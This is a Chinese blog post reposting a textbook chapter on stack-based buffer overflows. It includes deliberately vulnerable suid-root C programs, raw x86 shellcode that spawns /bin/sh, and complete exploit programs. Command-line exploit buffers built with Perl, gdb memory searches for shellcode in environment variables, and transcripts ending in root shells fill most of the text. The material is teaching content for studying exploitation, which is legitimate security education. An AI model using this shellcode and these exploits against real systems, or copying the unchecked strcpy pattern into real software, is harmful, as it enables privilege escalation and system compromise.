Chinaunix首页 | 论坛 | 博客
  • 博客访问: 57656
  • 博文数量: 25
  • 博客积分: 2010
  • 博客等级: 大尉
  • 技术积分: 265
  • 用 户 组: 普通用户
  • 注册时间: 2008-08-27 10:47
文章分类

全部博文(25)

文章存档

2011年(1)

2008年(24)

我的朋友
最近访客

分类: C/C++

2008-12-28 19:21:41

 
 
摘自《》第一版
 

0x270 Stack-Based Overflows

Referring back to the sample overflow program, overflow.c, when overflow_function() is called, a stack frame is pushed onto the stack. When the function is first called, the stack frame looks something like this:

But when the function tries to write 128 bytes of data into the 20-byte buffer, the extra 108 bytes spill out, overwriting the stack frame pointer, the return address, and the str pointer function argument. Then, when the function finishes, the program attempts to jump to the return address, which is now filled with As, which is 0x41 in hexadecimal. The program tries to return to this address, causing the EIP to go to 0x41414141, which is basically just some random address that is either in the wrong memory space or contains invalid instructions, causing the program to crash and die. This is called a stack-based overflow, because the overflow is occurring in the stack memory segment.

Overflows can happen in other memory segments also, such as the heap or bss segments, but what makes stack-based overflows more versatile and interesting is that they can overwrite a return address. The program crashing as a result of a stack-based overflow isn't really that interesting, but the reason it crashes is. If the return address were controlled and overwritten with something other than 0x41414141, such as an address where actual executable code was located, then the program would "return" to and execute that code instead of dying. And if the data that overflows into the return address is based on user input, such as the value entered in a username field, the return address and the subsequent program execution flow can be controlled by the user.

Because it's possible to modify the return address to change the flow of execution by overflowing buffers, all that's needed is something useful to execute. This is where bytecode injection comes into the picture. Bytecode is just a cleverly designed piece of assembly code that is self-contained and can be injected into buffers. There are several restrictions on bytecode: It has to be self-contained and it needs to avoid certain special characters in its instructions because it's supposed to look like data in buffers.

The most common piece of bytecode is known as shellcode. This is a piece of bytecode that just spawns a shell. If a suid root program is tricked into executing shellcode, the attacker will have a user shell with root privileges, while the system believes the suid root program is still doing whatever it was supposed to be doing. Here is an example:

vuln.c code

int main(int argc, char *argv[])
{
   char buffer[500];
   strcpy(buffer, argv[1]);
   return 0;
}

This is a piece of vulnerable program code that is similar to overflow_function() from before, as it inputs a single argument and tries to cram whatever that argument holds into its 500-byte buffer. Here are the uneventful results of this program's compilation and execution:

$ gcc -o vuln vuln.c
$ ./vuln test

The program really does nothing, except mismanage memory. Now to make it truly vulnerable, the ownership must be changed to the root user, and the suid permission bit must be turned on for the compiled binary:

$ sudo chown root vuln
$ sudo chmod +s vuln
$ ls -l vuln
-rwsr-sr-x   1 root   users   4933 Sep 5 15:22 vuln

Now that vuln is a suid root program that's vulnerable to a buffer overflow, all that's needed is a piece of code to generate a buffer that can be fed to the vulnerable program. This buffer should contain the desired shellcode and should overwrite the return address in the stack so that the shellcode will get executed. This means the actual address of the shellcode must be known ahead of time, which can be difficult to know in a dynamically changing stack. To make things even harder, the four bytes where the return address is stored in the stack frame must be overwritten with the value of this address. Even if the correct address is known, but the proper location isn't overwritten, the program will just crash and die. Two techniques are commonly used to assist with this difficult chicanery.

The first is known as a NOP sled (NOP is short for no operation). This is a single byte instruction that does absolutely nothing. These are sometimes used to waste computational cycles for timing purposes and are actually necessary in the Sparc processor architecture due to instruction pipelining. In this case, these NOP instructions are going to be used for a different purpose; they're going to be used as a fudge factor. By creating a large array (or sled) of these NOP instructions and placing it before the shellcode, if the EIP returns to any address found in the NOP sled, the EIP will increment while executing each NOP instruction, one at a time, until it finally reaches the shellcode. This means that as long as the return address is overwritten with any address found in the NOP sled, the EIP will slide down the sled to the shellcode, which will execute properly.

The second technique is flooding the end of the buffer with many back-to-back instances of the desired return address. This way, as long as any one of these return addresses overwrites the actual return address, the exploit will work as desired.

Here is a representation of a crafted buffer:

Click To expand

Even using both of these techniques, the approximate location of the buffer in memory must be known in order to guess the proper return address. One technique for approximating the memory location is to use the current stack pointer as a guide. By subtracting an offset from this stack pointer, the relative address of any variable can be obtained. Because, in this vulnerable program, the first element on the stack is the buffer the shellcode is being put into, the proper return address should be the stack pointer, which means the offset should be close to 0. The NOP sled becomes increasingly useful when exploiting more complicated programs, when the offset isn't 0.

The following is exploit code, designed to create a buffer and feed it to the vulnerable program, hopefully tricking it into executing the injected shellcode when it crashes, instead of just crashing and dying. The exploit code first gets the current stack pointer and subtracts an offset from that. In this case the offset is 0. Then memory for the buffer is allocated (on the heap) and the entire buffer is filled with the return address. Next, the first 200 bytes of the buffer are filled with a NOP sled (the NOP instruction in machine language for the x86 processor is equivalent to 0x90). Then the shellcode is placed after the NOP sled, leaving the remaining last portion of the buffer filled with the return address. Because the end of a character buffer is designated by a null byte, or 0, the buffer is ended with a 0. Finally another function is used to run the vulnerable program and feed it the specially crafted buffer.

exploit.c code

#include 

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)         // This is just a little function
{ __asm__("movl %esp, %eax");} // used to return the stack pointer

int main(int argc, char *argv[])
{
   int i, offset;
   long esp, ret, *addr_ptr;
   char *buffer, *ptr;

   offset = 0;            // Use an offset of 0
   esp = sp();            // Put the current stack pointer into esp
   ret = esp - offset;    // We want to overwrite the ret address

printf("Stack pointer (ESP) : 0x%x\n", esp);
printf("    Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);

// Allocate 600 bytes for buffer (on the heap)
 buffer = malloc(600);

// Fill the entire buffer with the desired ret address
 ptr = buffer;
 addr_ptr = (long *) ptr;
 for(i=0; i < 600; i+=4)
 { *(addr_ptr++) = ret; }

// Fill the first 200 bytes of the buffer with NOP instructions
 for(i=0; i < 200; i++)
 { buffer[i] = '\x90'; }

// Put the shellcode after the NOP sled
 ptr = buffer + 200;
 for(i=0; i < strlen(shellcode); i++)
 { *(ptr++) = shellcode[i]; }

// End the string
 buffer[600-1] = 0;

// Now call the program ./vuln with our crafted buffer as its argument
 execl("./vuln", "vuln", buffer, 0);

// Free the buffer memory
 free(buffer);

   return 0;
}

Here are the results of the exploit code's compilation and subsequent execution:

$ gcc -o exploit exploit.c
$ ./exploit
Stack pointer (ESP) : 0xbffff978
   Offset from ESP : 0x0
Desired Return Addr : 0xbffff978
sh-2.05a# whoami
root
sh-2.05a#

Apparently it worked. The return address in the stack frame was overwritten with the value 0xbffff978, which happens to be the address of the NOP sled and shellcode. Because the program was suid root, and the shellcode was designed to spawn a user shell, the vulnerable program executed the shellcode as the root user, even though the original program was only meant to copy a piece of data and exit.

0x271 Exploiting Without Exploit Code

Writing an exploit program to exploit a program will certainly get the job done, but it does put a layer between the prospective hacker and the vulnerable program. The compiler takes care of certain aspects of the exploit, and having to adjust the exploit by making changes to a program removes a certain level of interactivity from the exploit process. In order to really gain a full understanding of this topic, which is so rooted in exploration and experimentation, the ability to quickly try different things is vital. Perl's print command and bash shell's command substitution with grave accents are really all that are needed to exploit the vulnerable program.

Perl is an interpreted programming language that has a print command that happens to be particularly suited to generating long sequences of characters. Perl can be used to execute instructions on the command line using the -e switch like this:

$ perl -e 'print "A" x 20;'
AAAAAAAAAAAAAAAAAAAA

This command tells Perl to execute the commands found between the single quotes — in this case, a single command of ‘print "A" x 20;’. This command prints the character A 20 times.

Any character, such as nonprintable characters, can also be printed by using \x##, where ## is the hexadecimal value of the character. In the following example, this notation is used to print the character A, which has the hexadecimal value of 0x41.

$ perl -e 'print "\x41" x 20;'
AAAAAAAAAAAAAAAAAAAA

In addition, string concatenation can be done in Perl with the period (.) character. This can be useful when stringing multiple addresses together.

$ perl -e 'print "A"x20 . "BCD" . "\x61\x66\x67\x69"x2 . "Z";'
AAAAAAAAAAAAAAAAAAAABCDafgiafgiZ

Command substitution is done with the grave accent (‘) — the character that looks like a tilted single quote and is found on the same key as the tilde. Anything found between two sets of grave accents is executed, and the output is put in its place. Here are two examples:

$ 'perl -e 'print "uname";''
Linux
$ una'perl -e 'print "m";''e
Linux
$

In each case, the output of the command found between the grave accents is substituted for the command, and the command of uname is executed.

All the exploit code really does is get the stack pointer, craft a buffer, and feed that buffer to the vulnerable program. Armed with Perl, command substitution, and an approximate return address, the work of the exploit code can be done on the command line by simply executing the vulnerable program and using grave accents to substitute a crafted buffer into the first argument.

First the NOP sled must be created. In the exploit.c code, 200 bytes of NOP sled was used; this is a good amount, as it provides for 200 bytes of guessing room for the return address. This extra guessing room is more important now, because the exact stack pointer address isn't known. Remembering that the NOP instruction is 0x90 in hexadecimal, the sled can be created using a pair of grave accents and Perl, as follows:

$ ./vuln 'perl -e 'print "\x90"x200;''

The shellcode should then be appended to the NOP sled. It's quite useful to have the shellcode existing in a file somewhere, so putting the shellcode into a file should be the next step. Because all the bytes are already spelled out in hexadecimal in the beginning of the exploit, these bytes just need to be written to a file. This can be done using a hex editor or using Perl's print command with the output redirected to a file, as shown here:

$ perl -e 'print
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x
43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\
x68";' > shellcode

Once this is done, the shellcode exists in a file called "shellcode". The shellcode can now be easily inserted anywhere with a pair of grave accents and the cat command. Using this method, the shellcode can be added to the existing NOP sled:

$ ./vuln 'perl -e 'print "\x90"x200;'"cat shellcode'

Next, the return address, repeated several times, must be appended, but there is already something wrong with the exploit buffer. In the exploit.c code, the exploit buffer was filled with the return address first. This made sure the return address was properly aligned, because it consists of four bytes. This alignment must be manually accounted for when crafting exploit buffers on the command line.

What this boils down to is this: The number of bytes in the NOP sled plus the shellcode must be divisible by 4. Because the shellcode is 46 bytes, and the NOP sled is 200 bytes, a bit of simple arithmetic will show that 246 isn't divisible by 4. It is off by 2 bytes, so the repeated return address will be misaligned by 2 bytes, causing the execution to return somewhere unexpected.

Click To expand

In order to properly align the section of repeated return addresses, an additional 2 bytes should be added to the NOP sled:

$ ./vuln 'perl -e 'print "A"x202;'"cat shellcode'

Now that the first part of the exploit buffer is properly aligned, the repeated return address just has to be added to the end. Because 0xbffff978 was where the stack pointer was last, that makes a good approximate return address. This return address can be printed using "\x78\xf9\xff\bf". The bytes are reversed due to the little-endian byte ordering on the x86 architecture. This is a subtlety that can sometimes be overlooked when just using exploit code that does the ordering automatically.

Because the target length for the exploit buffer is about 600 bytes, and the NOP sled and shellcode take up 248 bytes, more simple arithmetic reveals that the return address should be repeated 88 times. This can be done with an additional pair of grave accents and more Perl:

$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print
"\x78\xf9\xff\xbf"x88;''
sh-2.05a# whoami
root
sh-2.05a#

Exploiting at the command line provides for greater control and flexibility over a given exploit technique, which encourages experimentation. For example, it's doubtful that all 600 bytes are really needed to properly exploit the sample vuln program. This threshold can be quickly explored when using the command line.

$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print
"\x68\xf9\xff\xbf"x68;''
$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print
"\x68\xf9\xff\xbf"x69;''
Segmentation fault
$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print
"\x68\xf9\xff\xbf"x70;''
sh-2.05a#

The first execution in the preceding example simply didn't crash and closes cleanly, while the second execution doesn't overwrite enough of the return address, resulting in a crash. However, the final execution properly overwrites the return address, returning execution into the NOP sled and shellcode, which executes a root shell. This level of control over the exploit buffer and the immediate feedback from experimentation is quite valuable in developing a deeper understanding of a system and an exploit technique.

0x272 Using the Environment

Sometimes a buffer will be too small to even fit shellcode into. In this case, the shellcode can be stashed in an environment variable. Environment variables are used by the user shell for a variety of things, but the key point of interest is that they are stored in an area of memory that program execution can be redirected to. So if a buffer is too small to fit the NOP sled, shellcode, and repeated return address, the sled and shellcode can be stored in an environment variable with the return address pointing to that address in memory. Here is another vulnerable piece of code, using a buffer that is too small for shellcode:

vuln2.c code

int main(int argc, char *argv[])
{
      char buffer[5];
      strcpy(buffer, argv[1]);
      return 0;
}

Here the vuln2.c code is compiled and set suid root to make it truly vulnerable.

$ gcc -o vuln2 vuln2.c
$ sudo chown root.root vuln2
$ sudo chmod u+s vuln2

Because the buffer is only five bytes long in vuln2, there is no room for shellcode to be inserted; it must be stored elsewhere. One ideal candidate for holding the shellcode is an environment variable.

The execl() function in the exploit.c code, which was used to execute the vulnerable program with the crafted buffer in the first exploit, has a sister function called execle(). This function has one additional argument, which is the environment that the executing process should run under. This environment is presented in the form of an array of pointers to null-terminated strings for each environment variable, and the environment array itself is terminated with a null pointer.

This means that an environment containing shellcode can be created by using an array of pointers, the first of which points to the shellcode, and the second consisting of a null pointer. Then the execle() function can be called using this environment to execute the second vulnerable program, overflowing the return address with the address of the shellcode. Luckily, the address of an environment invoked in this manner is easy to calculate. In Linux, the address will be 0xbffffffa, minus the length of the environment, minus the length of the name of the executed program. Because this address will be exact, there is no need for an NOP sled. All that's needed in the exploit buffer is the address, repeated enough times to overflow the return address in the stack. Forty bytes seems like a good number.

env_exploit.c code

#include 

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

int main(int argc, char *argv[])
{
   char *env[2] = {shellcode, NULL};
   int i;
   long ret, *addr_ptr;
   char *buffer, *ptr;

// Allocate 40 bytes for buffer (on the heap)
 buffer = malloc(40);

// Calculate the location of the shellcode
 ret = 0xbffffffa - strlen(shellcode) - strlen("./vuln2");

// Fill the entire buffer with the desired ret address
 ptr = buffer;
 addr_ptr = (long *) ptr;
 for(i=0; i < 40; i+=4)
 { *(addr_ptr++) = ret; }

// End the string
 buffer[40-1] = 0;

// Now call the program ./vuln with our crafted buffer as its argument
// and using the environment env as its environment.
 execle("./vuln2", "vuln2", buffer, 0, env);

// Free the buffer memory
 free(buffer);

   return 0;
}

This is what happens when the program is compiled and executed:

$ gcc -o env_exploit env_exploit.c
$ ./env_exploit
sh-2.05a# whoami
root
sh-2.05a#

Of course, this technique can also be used without an exploit program. In the bash shell, environment variables are set and exported using export VARNAME=value. Using export, Perl, and a few pairs of grave accents, the shellcode and a generous NOP sled can be put into the current environment:

$ export SHELLCODE='perl -e 'print "\x90"x100;'"cat shellcode'

The next step is to find the address of this environment variable. This can be done using a debugger, such as gdb, or by simply writing a little utility program. I'll explain both methods.

The point of using a debugger is to open the vulnerable program in the debugger and set a breakpoint right at the beginning. This will cause the program to start execution but then stop before anything actually happens. At this point, memory can be examined from the stack pointer forward by using the gdb command x/20s $esp. This will print out the next 20 strings of memory from the stack pointer. The x in the command is short for examine, and the 20s requests 20 null-terminated strings. Pressing ENTER after this command runs will continue with the previous command, examining the next 20 strings worth of memory. This process can be repeated until the environment variable is found in memory.

In the following output, vuln2 is debugged with gdb to examine strings in stack memory in order to find the shellcode stored in the environment variable SHELLCODE (shown in bold).

$ gdb vuln2
GNU gdb 5.2.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) break main
Breakpoint 1 at 0x804833e
(gdb) run
Starting program: /hacking/vuln2

Breakpoint 1, 0x0804833e in main ()
(gdb) x/20s $esp
0xbffff8d0: "O\234\002@\204\204\024@ \203\004\bR\202\004\b0\202\004\b\204\204\024@ooÿ¿F\202\004
\b\200ù\004@\204\204\024@(ùÿ¿B¡\003@\001"
0xbffff902:   ""
0xbffff903:   ""
0xbffff904:   "Tùÿ¿\\ùÿ¿\200\202\004\b"
0xbffff911:   ""
0xbffff912:   ""
0xbffff913:   ""
0xbffff914:   "P¢"
0xbffff917:   "@\\C\024@TU\001@\001"
0xbffff922:   ""
0xbffff923:   ""
0xbffff924:   "\200\202\004\b"
0xbffff929:   ""
0xbffff92a:   ""
0xbffff92b:   ""
0xbffff92c:   "¡\202\004\b8\203\004\b\001"
0xbffff936:   ""
0xbffff937:   ""
0xbffff938:   "Tùÿ¿0\202\004\b \203\004\b\020***"
0xbffff947:   "@Lùÿ¿'Z\001@\001"
(gdb)
0xbffff952:   ""
0xbffff953:   ""
0xbffff954:   "eúÿ¿"
0xbffff959:   ""
0xbffff95a:   ""
0xbffff95b:   ""
0xbffff95c:
"túÿ¿\201úÿ¿ úÿ¿Aúÿ¿xúÿ¿Yûÿ¿ïûÿ¿\035üÿ¿=üÿ¿\211üÿ¿¢üÿ¿Rüÿ¿Äüÿ¿Düÿ¿åüÿ¿\202yÿ¿\227yÿ
¿yÿ¿Oyÿ¿óyÿ¿\002pÿ¿\npÿ¿-pÿ¿Upÿ¿\206pÿ¿\220pÿ¿\236pÿ¿ªpÿ¿Ipÿ¿xpÿ¿Uÿÿ¿"
0xbffff9d9:   ""
0xbffff9da:   ""
0xbffff9db:   ""
0xbffff9dc:   "\020"
0xbffff9de:   ""
0xbffff9df:   ""
0xbffff9e0:   "ÿù\203\003\006"
0xbffff9e6:   ""
0xbffff9e7:   ""
0xbffff9e8:   ""
0xbffff9e9:   "\020"
0xbffff9eb:   ""
0xbffff9ec:   "\021"
(gdb)
0xbffff9ee:   ""
0xbffff9ef:   ""
0xbffff9f0:   "d"
0xbffff9f2:   ""
0xbffff9f3:   ""
0xbffff9f4:   "\003"
0xbffff9f6:   ""
0xbffff9f7:   ""
0xbffff9f8:   "4\200\004\b\004"
0xbffff9fe:   ""
0xbffff9ff:   ""
0xbffffa00:   " "
0xbffffa02:   ""
0xbffffa03:   ""
0xbffffa04:   "\005"
0xbffffa06:   ""
0xbffffa07:   ""
0xbffffa08:   "\006"
0xbffffa0a:   ""
0xbffffa0b:   ""
(gdb)
0xbffffa0c:   "\a"
0xbffffa0e:   ""
0xbffffa0f:   ""
0xbffffa10:   ""
0xbffffa11:   ""
0xbffffa12:   ""
0xbffffa13:   "@\b"
0xbffffa16:   ""
0xbffffa17:   ""
0xbffffa18:   ""
0xbffffa19:   ""
0xbffffa1a:   ""
0xbffffa1b:   ""
0xbffffa1c:   "\t"
0xbffffa1e:   ""
0xbffffa1f:   ""
0xbffffa20:   "\200\202\004\b\v"
0xbffffa26:   ""
0xbffffa27:   ""
0xbffffa28:   "è\003"
(gdb)
0xbffffa2b:   ""
0xbffffa2c:   "\f"
0xbffffa2e:   ""
0xbffffa2f:   ""
0xbffffa30:   "è\003"
0xbffffa33:   ""
0xbffffa34:   "\r"
0xbffffa36:   ""
0xbffffa37:   ""
0xbffffa38:   "d"
0xbffffa3a:   ""
0xbffffa3b:   ""
0xbffffa3c:   "\016"
0xbffffa3e:   ""
0xbffffa3f:   ""
0xbffffa40:   "d"
0xbffffa42:   ""
0xbffffa43:   ""
0xbffffa44:   "\017"
0xbffffa46:   ""
(gdb)
0xbffffa47:   ""
0xbffffa48:   "'úÿ¿"
0xbffffa4d:   ""
0xbffffa4e:   ""
0xbffffa4f:   ""
0xbffffa50:   ""
0xbffffa51:   ""
0xbffffa52:   ""
0xbffffa53:   ""
0xbffffa54:   ""
0xbffffa55:   ""
0xbffffa56:   ""
0xbffffa57:   ""
0xbffffa58:   ""
0xbffffa59:   ""
0xbffffa5a:   ""
0xbffffa5b:   ""
0xbffffa5c:   ""
0xbffffa5d:   ""
0xbffffa5e:   ""
(gdb)
0xbffffa5f:   ""
0xbffffa60:   "i686"
0xbffffa65:   "/hacking/vuln2"
0xbffffa74:   "PWD=/hacking"
0xbffffa81:   "XINITRC=/etc/X11/xinit/xinitrc"
0xbffffaa0:   "JAVAC=/opt/sun-jdk-1.4.0/bin/javac"
0xbffffac3:   "PAGER=/usr/bin/less"
0xbffffad7:   "SGML_CATALOG_FILES=/etc/sgml/sgml-ent.cat:/etc/sgml/sgml-
docbook.cat:/etc/sgml/openjade-1.3.1.cat:/etc/sgml/sgml-docbook-
3.1.cat:/etc/sgml/sgml-docbook-3.0.cat:/etc/sgml/dsssl-docbook-stylesheets.cat:"...
0xbffffb9f:   "/etc/sgml/sgml-docbook-4.0.cat:/etc/sgml/sgml-docbook-4.1.cat"
0xbffffbdd:   "HOSTNAME=overdose"
0xbffffbef:   "CLASSPATH=/opt/sun-jdk-1.4.0/jre/lib/rt.jar:."
0xbffffc1d:   "VIMRUNTIME=/usr/share/vim/vim61"
0xbffffc3d:
"MANPATH=/usr/share/man:/usr/local/share/man:/usr/X11R6/man:/opt/insight/man"
0xbffffc89:   "LESSOPEN=|lesspipe.sh %s"
0xbffffca2:   "USER=matrix"
0xbffffcae:   "MAIL=/var/mail/matrix"
0xbffffcc4:   "CVS_RSH=ssh"
0xbffffcd0:   "INPUTRC=/etc/inputrc"
0xbffffce5:   "SHELLCODE=", '\220' ,
"1A°F1U1ÉI\200ë\026[1A\210C\a\211[\b\211C\f°\v\215K\b\215S\fI\200èåÿÿÿ/bin/sh"
0xbffffd82:   "EDITOR=/usr/bin/nano"
(gdb)
0xbffffd97:   "CONFIG_PROTECT_MASK=/etc/gconf"
0xbffffdb6:   "JAVA_HOME=/opt/sun-jdk-1.4.0"
0xbffffdd3:   "SSH_CLIENT=10.10.10.107 3108 22"
0xbffffdf3:   "LOGNAME=matrix"
0xbffffe02:   "SHLVL=1"
0xbffffe0a:   "MOZILLA_FIVE_HOME=/usr/lib/mozilla"
0xbffffe2d:   "INFODIR=/usr/share/info:/usr/X11R6/info"
0xbffffe55:   "SSH_CONNECTION=10.10.10.107 3108 10.10.11.110 22"
0xbffffe86:   "_=/bin/sh"
0xbffffe90:   "SHELL=/bin/sh"
0xbffffe9e:   "JDK_HOME=/opt/sun-jdk-1.4.0"
0xbffffeba:   "HOME=/home/matrix"
0xbffffecc:   "TERM=linux"
0xbffffed7:   "PATH=/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/X11R6/bin:/opt/sun-
jdk-1.4.0/bin:/opt/sun-jdk-
1.4.0/jre/bin:/opt/insight/bin:.:/opt/j2re1.4.1/bin:/sbin:/usr/sbin:/usr/local/sbin
:/home/matrix/bin:/sbin"...
0xbfffff9f:   ":/usr/sbin:/usr/local/sbin:/sbin:/usr/sbin:/usr/local/sbin"
0xbfffffda:   "SSH_TTY=/dev/pts/1"
0xbfffffed:   "/hacking/vuln2"
0xbffffffc:   ""
0xbffffffd:   ""
0xbffffffe:   ""
(gdb) x/s 0xbffffce5
0xbffffce5:   "SHELLCODE=", '\220' ,
"1A°F1U1ÉI\200ë\026[1A\210C\a\211[\b\211C\f°\v\215K\b\215S\fI\200èåÿÿÿ/bin/sh"
(gdb) x/s 0xbffffcf5
0xbffffcf5:   '\220' ,
"1A°F1U1ÉI\200ë\026[1A\210C\a\211[\b\211C\f°\v\215K\b\215S\fI\200èåÿÿÿ/bin/sh"
(gdb) quit
The program is running. Exit anyway? (y or n) y

After finding the address where the environment variable SHELLCODE is located, the command x/s is used to examine just that string. But this address includes the string "SHELLCODE=", so 16 bytes are added to the address to provide an address that is located somewhere in the NOP sled. The 100 bytes of the NOP sled provide for quite a bit of wiggle room, so there's no need to be exact.

The debugger has revealed that the address 0xbffffcf5 is right near the beginning of the NOP sled, and the shellcode is stored in the environment variable SHELLCODE. Armed with this knowledge, some more Perl, and a pair of grave accents, the vulnerable program can be exploited, as follows.

$ ./vuln2 'perl -e 'print "\xf5\xfc\xff\xbf"x10;''
sh-2.05a# whoami
root
sh-2.05a#

Once again, the threshold of how long the overflow buffer really needs to be can be quickly investigated. As the following experiments show, 32 bytes is as small as the buffer can get and still overwrite the return address.

$ ./vuln2 'perl -e 'print "\xf5\xfc\xff\xbf"x10;''
sh-2.05a# exit
$ ./vuln2 'perl -e 'print "\xf5\xfc\xff\xbf"x9;''
sh-2.05a# exit
$ ./vuln2 'perl -e 'print "\xf5\xfc\xff\xbf"x8;''
sh-2.05a# exit
$ ./vuln2 'perl -e 'print "\xf5\xfc\xff\xbf"x7;''
Segmentation fault
$

Another way to retrieve the address of an environment variable is to write a simple helper program. This program can simply use the well-documented getenv() function to look for the first program argument in the environment. If it can't find anything, the program exits with a status message, and if it finds the variable, it prints out the address of it.

getenvaddr.c code

#include 

int main(int argc, char *argv[])
{
   char *addr;
   if(argc < 2)
   {
      printf("Usage:\n%s \n", argv[0]);
      exit(0);
   }
   addr = getenv(argv[1]);
   if(addr == NULL)
      printf("The environment variable %s doesn't exist.\n", argv[1]);
   else
      printf("%s is located at %p\n", argv[1], addr);
   return 0;
}

The following shows the getenvaddr.c program's compilation and execution to find the address of the environment variable SHELLCODE.

$ gcc -o getenvaddr getenvaddr.c
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffcec
$

This program returns a slightly different address than gdb did. This is because the context for the helper program is slightly different than when the vulnerable program is executed, which is also slightly different than when the vulnerable program is executed in gdb. Luckily the 100 bytes of NOP sled is more than enough to allow these slight inconsistencies to slide.

$ ./vuln2 'perl -e 'print "\xec\xfc\xff\xbf"x8;''
sh-2.05a# whoami
root
sh-2.05a#

Just slapping a huge NOP sled to the front of shellcode, however, is like playing pool with slop. Sure the root shell pops up or the balls go in, but oftentimes it's by accident, and the experience doesn't teach that much. Playing with slop is for amateurs — the experts can sink balls exactly in the pockets they call. In the world of program exploitation, the difference is between knowing exactly where something will be in memory and just guessing.

In order to be able to predict an exact memory address, the differences in the addresses must be explored. The length of the name of the program being executed seems to have an effect on the address of the environment variables. This effect can be further explored by changing the name of the helper program and experimenting. This type of experimentation and pattern recognition is an important skill set for a hacker to have.

$ gcc -o a getenvaddr.c
$ ./a SHELLCODE
SHELLCODE is located at 0xbffffcfe
$ cp a bb
$ ./bb SHELLCODE
SHELLCODE is located at 0xbffffcfc
$ cp bb ccc
$ ./ccc SHELLCODE
SHELLCODE is located at 0xbffffcfa

As the preceding experiment shows, the length of the name of the executing program has an effect on location of exported environment variables. The general trend seems to be a decrease of 2 bytes in the address of the environment variable for every single byte increase in the length of the program name. This continues to hold true with the program name getenvaddr, because the difference in length between the names getenvaddr and a is 9 bytes, and the difference between the address 0xbffffcfe and 0xbffffcec is 18 bytes.

Armed with this knowledge, the exact address of the environment variable can be predicted when the vulnerable program is executed. This means the crutch of a NOP sled can be eliminated.

$ export SHELLCODE='cat shellcode'
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffd50
$

Because the name of the vulnerable program is vuln2, which is 5 bytes long, and the name of the helper program is getenvaddr, which is 10 bytes long, the address of the shellcode will be ten bytes more when the vulnerable program is executed. This is because the helper program's name is 5 bytes more than the vulnerable program's name. Some basic math reveals that the predicted shellcode address when the vulnerable program is executed should be 0xbffffd5a.

$ ./vuln2 'perl -e 'print "\x5a\xfd\xff\xbf"x8;''
sh-2.05a# whoami
root
sh-2.05a#

This type of surgical precision is definitely good practice, but it isn't always necessary. The knowledge gained from this experimentation can help calculate how long the NOP sled should be, though. As long as the helper program's name is longer than the name of the vulnerable program, the address returned by the helper program will always be greater than what the address will be when the vulnerable program is executed. This means a small NOP sled before the shellcode in the environment variable will neatly compensate for this difference.

The size of the necessary NOP sled can be easily calculated. Because a vulnerable program name needs at least one character, the maximum difference in the program name lengths will be the length of the helper program's name minus one. In this case, the helper program's name is getenvaddr, which means the NOP sled should be 18 bytes long, because the address is adjusted by 2 bytes for every single byte in difference. (10 1) · 2 = 18.

阅读(817) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~